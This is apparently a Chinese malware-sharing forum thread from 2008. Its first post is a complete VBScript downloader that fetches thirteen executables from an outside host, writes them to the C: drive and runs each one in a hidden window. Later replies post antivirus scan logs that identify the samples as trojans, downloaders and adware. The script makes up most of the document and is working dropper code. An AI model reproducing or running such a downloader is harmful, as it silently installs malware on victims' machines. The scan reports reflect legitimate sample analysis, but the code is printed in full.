某帖挖

ykz1991

Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/35.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\35.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\35.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/36.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\36.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\36.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/37.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\37.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\37.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/38.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\38.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\38.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/39.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\39.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\39.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/40.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\40.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\40.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/41.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\41.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\41.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/42.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\42.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\42.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/mm/44.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\44.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\44.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/zd/pl.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\pl.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\pl.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/zd/uuse.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\uuse.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\uuse.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/zd/uuQi.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\uuQi.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\uuQi.exe /start",0
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.serversina.cn/zd/Qiuu.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\Qiuu.exe",2
set ws=wscript.createobject("wscript.shell")
ws.run "c:\Qiuu.exe /start",0

剔除了较大的文件

电影结束了

饿..就是SS.exe...下载下来的...

那个较大的是USEE网络电视的安装包...

挪威的冬天

信息        2008-05-18  14:17:46        您此次查毒清除了2个病毒                       
信息        2008-05-18  14:17:46        您此次查毒共查出2个病毒以及危险代码                       
信息        2008-05-18  14:17:46        您此次查毒共查了内存模块0个，磁盘引导扇区0个，文件15个                       
信息        2008-05-18  14:17:46        金山毒霸主程序查毒过程结束，查毒方式：命令行查毒                       
病毒        2008-05-18  14:17:46        D:\Desktop\sample2.zip\42.exe        Win32.Troj.Agent.lu.106270        清除成功       
病毒        2008-05-18  14:17:46        D:\Desktop\sample.zip\37.exe        Win32.Troj.Downloader.gy.69632        清除成功

醉一生爱妍

剩下的问题：

对象名称	威胁的名称:	最终的状态
C:\Documents and Settings\Administrator\桌面\sample.zip=]35.exe=](NSIS o)=]lzma_solid_nsis0002=](NSIS o)=]lzma_nsis0002	Adware.Cinmus.Gen	删除失败（文件是一个存档）
C:\Documents and Settings\Administrator\桌面\sample.zip=]35.exe=](NSIS o)=]lzma_solid_nsis0000	Adware.Cinmus.XY	删除失败（文件是一个存档）
C:\Documents and Settings\Administrator\桌面\sample.zip=]35.exe=](NSIS o)=]lzma_solid_nsis0002=](NSIS o)=]lzma_nsis0000	Adware.Cinmus.XY	删除失败（文件是一个存档）

解决的问题：

对象名称	威胁的名称:	最终的状态
C:\Documents and Settings\Administrator\桌面\sample2.zip=]42.exe	Dropped:Adware.Cpush.U	被删除的
C:\Documents and Settings\Administrator\桌面\sample.zip=]39.exe	Dropped:Trojan.Delf.PED	被删除的

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.Win32.Undef.gjx   

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.44.62